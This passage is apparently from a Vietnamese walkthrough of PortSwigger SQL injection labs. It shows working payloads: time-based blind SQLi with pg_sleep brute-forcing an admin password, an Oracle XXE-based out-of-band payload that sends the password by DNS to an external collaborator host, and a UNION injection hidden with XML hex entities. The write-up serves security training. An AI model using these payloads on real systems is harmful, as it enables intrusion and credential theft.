'; SELECT CASE WHEN (LENGTH(password)>1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'-- 
```

![image](https://hackmd.io/_uploads/ByKOFfd31x.png)

Response trả về sau hơn 10s → password dài hơn 1 kí tự. 

Dựa vào đó, có thể  bruteforce độ dài password bằng `BurpIntruder` với payload sau
```
'; SELECT CASE WHEN (LENGTH(password)=§1§) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'-- 
```

![image](https://hackmd.io/_uploads/HkV9FzdnJl.png)

Khi `LENGTH(password)=20` thì response trả về sau 10s → password dài 20 kí tự.

Tiếp đến, chúng ta sẽ sử dụng `SUBSTRING()` trong câu điều kiện để bruteforce từng kí tự trong 20 kí tự của password bằng payload: 
```
'; SELECT CASE WHEN (SUBSTRING(password,§1§,1)='§a§') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator'--.
```
Attack type: `Cluster Bomb`

- Set 1 (`$1$`): Numbers `[1-20]`, Step 1, Min/Max fraction: 1
- Set 2(`$a$`): Brute forceer, min/max length: 1, wordlist: `[a-z0-9]`

![image](https://hackmd.io/_uploads/Syq6Fzuhyg.png)

Chú ý `max concurrent requets` là 1 (gửi từng request) để tránh thời gian response bị ảnh hưởng.

![image](https://hackmd.io/_uploads/r1hAKfunye.png)

## Blind SQL injection with out-of-band interaction
### Target Goal
Bài lab có lỗ hông SQLi ở cookie, kết quả của query sẽ không được hiển thị, tuy nhiên có thể kích hoạt các tương tác ngoài băng tần với một domain ngoài.

To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.

### Analysis and exploit
Dựa vào [Link](https://portswigger.net/web-security/sql-injection/cheat-sheet) sau, ta sẽ thử lần lượt các payload Out-of-band để xác định đúng loại hệ quản trị database. Cụ thể, mục tiêu sẽ là tạo ra cac DNS lookup query đến external domain.

![image](https://hackmd.io/_uploads/rk2h9f_21l.png)

Sau khi sử dụng payload của Oracle, các DNS query đã gửi đến Burp Collaborator. Trong đó, payload trên tận dụng lỗ hổng XXE để tạo 1 parameter entity remote chứa giá trị được lấy từ external domain của attacker thông qua keyword `SYSTEM`.

![image](https://hackmd.io/_uploads/HJcthfdn1e.png)

Như vậy, ứng dụng web sử dụng Oracle và bị trigger Out-of-band SQLi thông qua hàm `EXTRACTVALUE()` xử lí XML.

![image](https://hackmd.io/_uploads/SyA9nGunke.png)

## Blind SQL injection with out-of-band data exfiltration
### Target Goal
Bài lab có lỗ hông SQLi ở cookie, kết quả của query sẽ không được hiển thị, tuy nhiên có thể kích hoạt các tương tác ngoài băng tần với một domain ngoài.

Trong databse có một table tên là `users` chứa cột `username` và `password`. Để giải được bài lab, thực hiện tấn công SQLi để lấy credential admin và login vào
### Analysis and exploit
Bài lab này thừa kế bài[lab trên](#Blind-SQL-injection-with-out-of-band-interaction), yêu cầu lấy được password của administrator thông qua các DNS lookup. Với payload như [lab trên](#Blind-SQL-injection-with-out-of-band-interaction), ta chỉ việc chèn vào URL một câu subquery lấy password thành dạng` "http://'||(SELECT password from users where username='administrator')||'.nmdp1e6cli847y3qc1la7vvkxb36rv.oastify.com/"`

Lúc này, thêm payload sau khi chỉnh vào trường `TrackingID`

```
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password from users where username='administrator')||'.nmdp1e6cli847y3qc1la7vvkxb36rv.oastify.com/"> %remote;]>'),'/l') FROM dual--
```

![image](https://hackmd.io/_uploads/S1roTGunyx.png)

Gửi request và kiểm tra `Burp Collaborator` thì thấy các DNS query đã được gửi đến kèm theo password của user `administrator` là `jw98l8htcuqajnaxhxak`.

![image](https://hackmd.io/_uploads/S1uh6GO21e.png)

## SQL injection with filter bypass via XML encoding
### Target Goal
Bài lab có lỗ hông SQLi ở check stock, kết quả sẽ được hiển thị và có thể dùng UNION attack để leak data

Trong databse có một table tên là `users` chứa cột `username` và `password`. Để giải được bài lab, thực hiện tấn công SQLi để lấy credential admin và login vào

### Analysis and exploit
Bài có cho Sqli nằm ở phần check stock và table là user chỉ cần lấy được password và user là pass

![image](https://github.com/vanniichan/Portswigger/assets/112863484/5711d018-15b7-4fea-9745-343fcfd01c93)

Nó có 1 xml để check stock. Thử inject vào, nó báo lỗi ngay, điều nay cũng chứng tỏ được việc ta đã inject vào đúng chỗ

![image](https://github.com/vanniichan/Portswigger/assets/112863484/72eebe3c-6b1f-40b3-899a-bcbee5a94d1d)

Một trong những lý do bị lỗi này là do xml đã filter các ký tự rồi render html. Do đó ta cần bypass nó bằng 1 số cách như encode để nó vẫn có thể hiểu được nội dung. Điển hình nhất là `hex_entities`

> hex_entities là một dạng mã hóa ký tự đặc biệt sử dụng hệ thập lục phân để biểu diễn các ký tự không thể gõ trực tiếp hoặc có thể gây lỗi trong tài liệu XML.

![image](https://github.com/vanniichan/Portswigger/assets/112863484/85bce58f-2909-4afc-9e2b-2ff2410624f6)

Thành công 

![image](https://github.com/vanniichan/Portswigger/assets/112863484/4519ad33-374c-4c33-a4ce-50cbfd634198)

Tiếp theo là cần truy xuất ra 2 bảng để lấy username + password. Tuy nhiên response lại trả về `0 unit` tức là chỉ lấy ra được 1 cột nên phải lấy được cả 2 nội dung từ 1 cột

![image](https://github.com/vanniichan/Portswigger/assets/112863484/0ef0ecec-fe68-44a6-b56e-2858d8c38293)

`UNION SELECT username || ':' || password from users`

![image](https://github.com/vanniichan/Portswigger/assets/112863484/39efa368-9c59-41a7-a820-d44b8d6d933b)

`administrator:jc50e6f28beah398nmz3`
